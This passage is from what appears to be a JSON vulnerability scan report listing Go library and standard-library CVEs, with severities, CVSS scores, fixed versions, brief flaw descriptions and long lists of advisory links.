"https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767220", "https://go.dev/issue/78760", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-39821.html", "https://linux.oracle.com/errata/ELSA-2026-66432-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39821", "https://pkg.go.dev/vuln/GO-2026-5026", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39821.json", "https://ubuntu.com/security/notices/USN-8416-1", "https://ubuntu.com/security/notices/USN-8883-1", "https://ubuntu.com/security/notices/USN-8883-2", "https://ubuntu.com/security/notices/USN-8900-1", "https://ubuntu.com/security/notices/USN-8914-1", "https://www.cve.org/CVERecord?id=CVE-2026-39821" ], "PublishedDate": "2026-05-22T16:16:20.41Z", "LastModifiedDate": "2026-09-17T12:18:05.767Z" }, { "VulnerabilityID": "CVE-2026-46600", "VendorIDs": [ "GO-2026-5942" ], "PkgID": "golang.org/x/net@v0.49.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.56.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46600", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:b4f3df8757ca70f12c40bb1104c022ddf7a60a32167fad946890a71eae96bcbf", "Title": "golang.org/x/net/dns/dnsmessage: golang.org/x/net/dns/dnsmessage: Denial of Service via invalid DNS record parsing", "Description": "Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "bitnami": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46600", "https://go.dev/cl/786345", "https://go.dev/issue/79795", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46600", "https://pkg.go.dev/vuln/GO-2026-5942", "https://www.cve.org/CVERecord?id=CVE-2026-46600" ], "PublishedDate": "2026-07-21T20:17:01.213Z", "LastModifiedDate": "2026-10-24T19:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-78661", "VendorIDs": [ "GO-2026-6860" ], "PkgID": "golang.org/x/net@v0.49.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.62.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78661", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:33ed5fdc9657205d2116c528bac348c4930004d052ef047e3a00a3b161b1e69f", "Title": "golang.org/x/net/html: golang.org/x/net/html: Denial of Service via crafted HTML input", "Description": "When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as \"a\u003c/x\u003e\") caused O(n^2) allocations and byte copies. Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78661", "https://go.dev/cl/849365", "https://go.dev/issue/82224", "https://groups.google.com/g/golang-announce/c/sqrs2vTx_Xs", "https://nvd.nist.gov/vuln/detail/CVE-2026-78661", "https://pkg.go.dev/vuln/GO-2026-6860", "https://www.cve.org/CVERecord?id=CVE-2026-78661" ], "PublishedDate": "2026-10-27T22:18:05.93Z", "LastModifiedDate": "2026-11-04T17:17:37.673Z" }, { "VulnerabilityID": "CVE-2026-78669", "VendorIDs": [ "GO-2026-6611" ], "PkgID": "golang.org/x/net@v0.49.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.60.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78669", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:0d43c15189634e86e91d269bb8f851f4fd4eb4658bb91878865f248db8831557", "Title": "net/http: net/http/internal/http2: golang.org/x/net/http2: net/http: Denial of Service via excessive HTTP/2 SETTINGS frames", "Description": "A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78669", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81742", "https://go.dev/cl/847186", "https://go.dev/cl/847308", "https://go.dev/issue/81742", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://groups.google.com/g/golang-announce/c/ZPwCyRUuGBs", "https://linux.oracle.com/cve/CVE-2026-78669.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78669", "https://pkg.go.dev/vuln/GO-2026-6611", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78669", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:04.01Z", "LastModifiedDate": "2026-10-09T17:16:49.857Z" }, { "VulnerabilityID": "CVE-2025-68121", "VendorIDs": [ "GO-2026-4337" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.24.13, 1.25.7, 1.26.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68121", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:9e7e4fbbcded54384bdc8e16089509c791ffd41f35016b31418a47e8bb811b34", "Title": "crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption", "Description": "During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.", "Severity": "CRITICAL", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "bitnami": 4, "cbl-mariner": 2, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "V3Score": 10 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:4177", "https://access.redhat.com/security/cve/CVE-2025-68121", "https://bugzilla.redhat.com/2434432", "https://bugzilla.redhat.com/2437111", "https://bugzilla.redhat.com/show_bug.cgi?id=2434432", "https://bugzilla.redhat.com/show_bug.cgi?id=2437111", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68121", "https://errata.almalinux.org/9/ALSA-2026-4177.html", "https://errata.rockylinux.org/RLSA-2026:4177", "https://github.com/golang/go/issues/77113", "https://go.dev/cl/737700", "https://go.dev/issue/77217", "https://groups.google.com/g/golang-announce/c/K09ubi9FQFk", "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc", "https://linux.oracle.com/cve/CVE-2025-68121.html", "https://linux.oracle.com/errata/ELSA-2026-5146.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-68121", "https://pkg.go.dev/vuln/GO-2026-4337", "https://www.cve.org/CVERecord?id=CVE-2025-68121" ], "PublishedDate": "2026-02-05T18:16:10.857Z", "LastModifiedDate": "2026-06-17T09:58:33.833Z" }, { "VulnerabilityID": "CVE-2026-111943", "VendorIDs": [ "GO-2026-6809" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.26.10, 1.27.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111943", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:81417335dc365fb2fa3b7a72f4b398ac642842244f9ade3be5023817f162fe6c", "Title": "crypto/x509: golang: crypto/x509: Man-in-the-middle attacks via untrusted intermediate certificates", "Description": "On most platforms, Go uses the given system root certificates. However, in some narrower cases, the system trust stores may not be updated without further action. To defend against the narrower set of cases that may remain affected, a denylist was added in crypto/x509 to return an error when calling Verify with any of the known intermediate certificates that are no longer considered to be trustworthy.", "Severity": "HIGH", "CweIDs": [ "CWE-299" ], "VendorSeverity": { "alma": 3, "amazon": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/20/29", "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-111943", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://github.com/golang/go/issues/82345", "https://go.dev/cl/851047", "https://go.dev/issue/82345", "https://groups.google.com/g/golang-announce/c/66pojueaQek", "https://groups.google.com/g/golang-nuts/c/K22sG2AYnKU", "https://linux.oracle.com/cve/CVE-2026-111943.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111943", "https://pkg.go.dev/vuln/GO-2026-6809", "https://www.cve.org/CVERecord?id=CVE-2026-111943" ], "PublishedDate": "2026-10-21T01:17:20.797Z", "LastModifiedDate": "2026-10-30T13:18:28.74Z" }, { "VulnerabilityID": "CVE-2026-25679", "VendorIDs": [ "GO-2026-4601" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.8, 1.26.1", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25679", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:0a7b051b9811e5bcc2ba73eb6558d5e23c4786b2d54fe32fdd19b178ae9fa466", "Title": "net/url: Incorrect parsing of IPv6 host literals in net/url", "Description": "url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.", "Severity": "HIGH", "CweIDs": [ "CWE-425", "CWE-1286" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10065", "https://access.redhat.com/errata/RHSA-2026:10125", "https://access.redhat.com/errata/RHSA-2026:10133", "https://access.redhat.com/errata/RHSA-2026:10140", "https://access.redhat.com/errata/RHSA-2026:10141", "https://access.redhat.com/errata/RHSA-2026:10158", "https://access.redhat.com/errata/RHSA-2026:10169", "https://access.redhat.com/errata/RHSA-2026:10175", "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:10225", "https://access.redhat.com/errata/RHSA-2026:10250", "https://access.redhat.com/errata/RHSA-2026:10701", "https://access.redhat.com/errata/RHSA-2026:10712", "https://access.redhat.com/errata/RHSA-2026:10929", "https://access.redhat.com/errata/RHSA-2026:11217", "https://access.redhat.com/errata/RHSA-2026:11375", "https://access.redhat.com/errata/RHSA-2026:11412", "https://access.redhat.com/errata/RHSA-2026:11413", "https://access.redhat.com/errata/RHSA-2026:11686", "https://access.redhat.com/errata/RHSA-2026:11688", "https://access.redhat.com/errata/RHSA-2026:11747", "https://access.redhat.com/errata/RHSA-2026:11749", "https://access.redhat.com/errata/RHSA-2026:11768", "https://access.redhat.com/errata/RHSA-2026:11800", "https://access.redhat.com/errata/RHSA-2026:11856", "https://access.redhat.com/errata/RHSA-2026:11916", "https://access.redhat.com/errata/RHSA-2026:11996", "https://access.redhat.com/errata/RHSA-2026:12028", "https://access.redhat.com/errata/RHSA-2026:12029", "https://access.redhat.com/errata/RHSA-2026:12030", "https://access.redhat.com/errata/RHSA-2026:12031", "https://access.redhat.com/errata/RHSA-2026:12032", "https://access.redhat.com/errata/RHSA-2026:12033", "https://access.redhat.com/errata/RHSA-2026:12282", "https://access.redhat.com/errata/RHSA-2026:13508", "https://access.redhat.com/errata/RHSA-2026:13512", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:13642", "https://access.redhat.com/errata/RHSA-2026:13643", "https://access.redhat.com/errata/RHSA-2026:13671", "https://access.redhat.com/errata/RHSA-2026:13791", "https://access.redhat.com/errata/RHSA-2026:13829", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:14100", "https://access.redhat.com/errata/RHSA-2026:14774", "https://access.redhat.com/errata/RHSA-2026:14868", "https://access.redhat.com/errata/RHSA-2026:14879", "https://access.redhat.com/errata/RHSA-2026:15091", "https://access.redhat.com/errata/RHSA-2026:16102", "https://access.redhat.com/errata/RHSA-2026:16696", "https://access.redhat.com/errata/RHSA-2026:16874", "https://access.redhat.com/errata/RHSA-2026:16875", "https://access.redhat.com/errata/RHSA-2026:17040", "https://access.redhat.com/errata/RHSA-2026:17084", "https://access.redhat.com/errata/RHSA-2026:17287", "https://access.redhat.com/errata/RHSA-2026:17598", "https://access.redhat.com/errata/RHSA-2026:19017", "https://access.redhat.com/errata/RHSA-2026:19022", "https://access.redhat.com/errata/RHSA-2026:19026", "https://access.redhat.com/errata/RHSA-2026:19027", "https://access.redhat.com/errata/RHSA-2026:19031", "https://access.redhat.com/errata/RHSA-2026:19032", "https://access.redhat.com/errata/RHSA-2026:19049", "https://access.redhat.com/errata/RHSA-2026:19055", "https://access.redhat.com/errata/RHSA-2026:19126", "https://access.redhat.com/errata/RHSA-2026:19128", "https://access.redhat.com/errata/RHSA-2026:19132", "https://access.redhat.com/errata/RHSA-2026:19133", "https://access.redhat.com/errata/RHSA-2026:19135", "https://access.redhat.com/errata/RHSA-2026:19181", "https://access.redhat.com/errata/RHSA-2026:19184", "https://access.redhat.com/errata/RHSA-2026:19185", "https://access.redhat.com/errata/RHSA-2026:19207", "https://access.redhat.com/errata/RHSA-2026:19350", "https://access.redhat.com/errata/RHSA-2026:19353", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19475", "https://access.redhat.com/errata/RHSA-2026:19634", "https://access.redhat.com/errata/RHSA-2026:19719", "https://access.redhat.com/errata/RHSA-2026:19720", "https://access.redhat.com/errata/RHSA-2026:19721", "https://access.redhat.com/errata/RHSA-2026:19750", "https://access.redhat.com/errata/RHSA-2026:20041", "https://access.redhat.com/errata/RHSA-2026:20088", "https://access.redhat.com/errata/RHSA-2026:20581", "https://access.redhat.com/errata/RHSA-2026:20582", "https://access.redhat.com/errata/RHSA-2026:20584", "https://access.redhat.com/errata/RHSA-2026:20889", "https://access.redhat.com/errata/RHSA-2026:21017", "https://access.redhat.com/errata/RHSA-2026:21655", "https://access.redhat.com/errata/RHSA-2026:21657", "https://access.redhat.com/errata/RHSA-2026:21691", "https://access.redhat.com/errata/RHSA-2026:21696", "https://access.redhat.com/errata/RHSA-2026:21769", "https://access.redhat.com/errata/RHSA-2026:22347", "https://access.redhat.com/errata/RHSA-2026:22423", "https://access.redhat.com/errata/RHSA-2026:22450", "https://access.redhat.com/errata/RHSA-2026:22627", "https://access.redhat.com/errata/RHSA-2026:22714", "https://access.redhat.com/errata/RHSA-2026:22733", "https://access.redhat.com/errata/RHSA-2026:22862", "https://access.redhat.com/errata/RHSA-2026:22937", "https://access.redhat.com/errata/RHSA-2026:23228", "https://access.redhat.com/errata/RHSA-2026:23345", "https://access.redhat.com/errata/RHSA-2026:24386", "https://access.redhat.com/errata/RHSA-2026:24853", "https://access.redhat.com/errata/RHSA-2026:25043", "https://access.redhat.com/errata/RHSA-2026:25127", "https://access.redhat.com/errata/RHSA-2026:25180", "https://access.redhat.com/errata/RHSA-2026:25248", "https://access.redhat.com/errata/RHSA-2026:25250", "https://access.redhat.com/errata/RHSA-2026:25251", "https://access.redhat.com/errata/RHSA-2026:25252", "https://access.redhat.com/errata/RHSA-2026:25253", "https://access.redhat.com/errata/RHSA-2026:26445", "https://access.redhat.com/errata/RHSA-2026:26527", "https://access.redhat.com/errata/RHSA-2026:26541", "https://access.redhat.com/errata/RHSA-2026:26568", "https://access.redhat.com/errata/RHSA-2026:26585", "https://access.redhat.com/errata/RHSA-2026:26636", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:28047", "https://access.redhat.com/errata/RHSA-2026:28441", "https://access.redhat.com/errata/RHSA-2026:28886", "https://access.redhat.com/errata/RHSA-2026:28893", "https://access.redhat.com/errata/RHSA-2026:28961", "https://access.redhat.com/errata/RHSA-2026:29035", "https://access.redhat.com/errata/RHSA-2026:29195", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:29702", "https://access.redhat.com/errata/RHSA-2026:29703", "https://access.redhat.com/errata/RHSA-2026:29854", "https://access.redhat.com/errata/RHSA-2026:33722", "https://access.redhat.com/errata/RHSA-2026:34097", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:36317", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:48036", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:5110", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:52389", "https://access.redhat.com/errata/RHSA-2026:52390", "https://access.redhat.com/errata/RHSA-2026:52391", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:5549", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:5941", "https://access.redhat.com/errata/RHSA-2026:5942", "https://access.redhat.com/errata/RHSA-2026:5943", "https://access.redhat.com/errata/RHSA-2026:5944", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:6341", "https://access.redhat.com/errata/RHSA-2026:6344", "https://access.redhat.com/errata/RHSA-2026:6382", "https://access.redhat.com/errata/RHSA-2026:6383", "https://access.redhat.com/errata/RHSA-2026:6388", "https://access.redhat.com/errata/RHSA-2026:6564", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:66401", "https://access.redhat.com/errata/RHSA-2026:6720", "https://access.redhat.com/errata/RHSA-2026:6802", "https://access.redhat.com/errata/RHSA-2026:6949", "https://access.redhat.com/errata/RHSA-2026:7005", "https://access.redhat.com/errata/RHSA-2026:7009", "https://access.redhat.com/errata/RHSA-2026:7011", "https://access.redhat.com/errata/RHSA-2026:7259", "https://access.redhat.com/errata/RHSA-2026:7291", "https://access.redhat.com/errata/RHSA-2026:7315", "https://access.redhat.com/errata/RHSA-2026:7328", "https://access.redhat.com/errata/RHSA-2026:7385", "https://access.redhat.com/errata/RHSA-2026:7665", "https://access.redhat.com/errata/RHSA-2026:7669", "https://access.redhat.com/errata/RHSA-2026:7674", "https://access.redhat.com/errata/RHSA-2026:7833", "https://access.redhat.com/errata/RHSA-2026:7834", "https://access.redhat.com/errata/RHSA-2026:7876", "https://access.redhat.com/errata/RHSA-2026:7877", "https://access.redhat.com/errata/RHSA-2026:7878", "https://access.redhat.com/errata/RHSA-2026:7879", "https://access.redhat.com/errata/RHSA-2026:7883", "https://access.redhat.com/errata/RHSA-2026:7992", "https://access.redhat.com/errata/RHSA-2026:8151", "https://access.redhat.com/errata/RHSA-2026:8167", "https://access.redhat.com/errata/RHSA-2026:8314", "https://access.redhat.com/errata/RHSA-2026:8322", "https://access.redhat.com/errata/RHSA-2026:8324", "https://access.redhat.com/errata/RHSA-2026:8337", "https://access.redhat.com/errata/RHSA-2026:8338", "https://access.redhat.com/errata/RHSA-2026:8433", "https://access.redhat.com/errata/RHSA-2026:8434", "https://access.redhat.com/errata/RHSA-2026:8456", "https://access.redhat.com/errata/RHSA-2026:8483", "https://access.redhat.com/errata/RHSA-2026:8484", "https://access.redhat.com/errata/RHSA-2026:8490", "https://access.redhat.com/errata/RHSA-2026:8491", "https://access.redhat.com/errata/RHSA-2026:8493", "https://access.redhat.com/errata/RHSA-2026:8840", "https://access.redhat.com/errata/RHSA-2026:8841", "https://access.redhat.com/errata/RHSA-2026:8842", "https://access.redhat.com/errata/RHSA-2026:8845", "https://access.redhat.com/errata/RHSA-2026:8847", "https://access.redhat.com/errata/RHSA-2026:8848", "https://access.redhat.com/errata/RHSA-2026:8849", "https://access.redhat.com/errata/RHSA-2026:8851", "https://access.redhat.com/errata/RHSA-2026:8852", "https://access.redhat.com/errata/RHSA-2026:8853", "https://access.redhat.com/errata/RHSA-2026:8855", "https://access.redhat.com/errata/RHSA-2026:8856", "https://access.redhat.com/errata/RHSA-2026:8860", "https://access.redhat.com/errata/RHSA-2026:8877", "https://access.redhat.com/errata/RHSA-2026:8878", "https://access.redhat.com/errata/RHSA-2026:8879", "https://access.redhat.com/errata/RHSA-2026:8881", "https://access.redhat.com/errata/RHSA-2026:8882", "https://access.redhat.com/errata/RHSA-2026:8930", "https://access.redhat.com/errata/RHSA-2026:8931", "https://access.redhat.com/errata/RHSA-2026:8949", "https://access.redhat.com/errata/RHSA-2026:9043", "https://access.redhat.com/errata/RHSA-2026:9044", "https://access.redhat.com/errata/RHSA-2026:9052", "https://access.redhat.com/errata/RHSA-2026:9090", "https://access.redhat.com/errata/RHSA-2026:9093", "https://access.redhat.com/errata/RHSA-2026:9094", "https://access.redhat.com/errata/RHSA-2026:9097", "https://access.redhat.com/errata/RHSA-2026:9098", "https://access.redhat.com/errata/RHSA-2026:9108", "https://access.redhat.com/errata/RHSA-2026:9109", "https://access.redhat.com/errata/RHSA-2026:9385", "https://access.redhat.com/errata/RHSA-2026:9434", "https://access.redhat.com/errata/RHSA-2026:9435", "https://access.redhat.com/errata/RHSA-2026:9436", "https://access.redhat.com/errata/RHSA-2026:9439", "https://access.redhat.com/errata/RHSA-2026:9440", "https://access.redhat.com/errata/RHSA-2026:9448", "https://access.redhat.com/errata/RHSA-2026:9453", "https://access.redhat.com/errata/RHSA-2026:9461", "https://access.redhat.com/errata/RHSA-2026:9695", 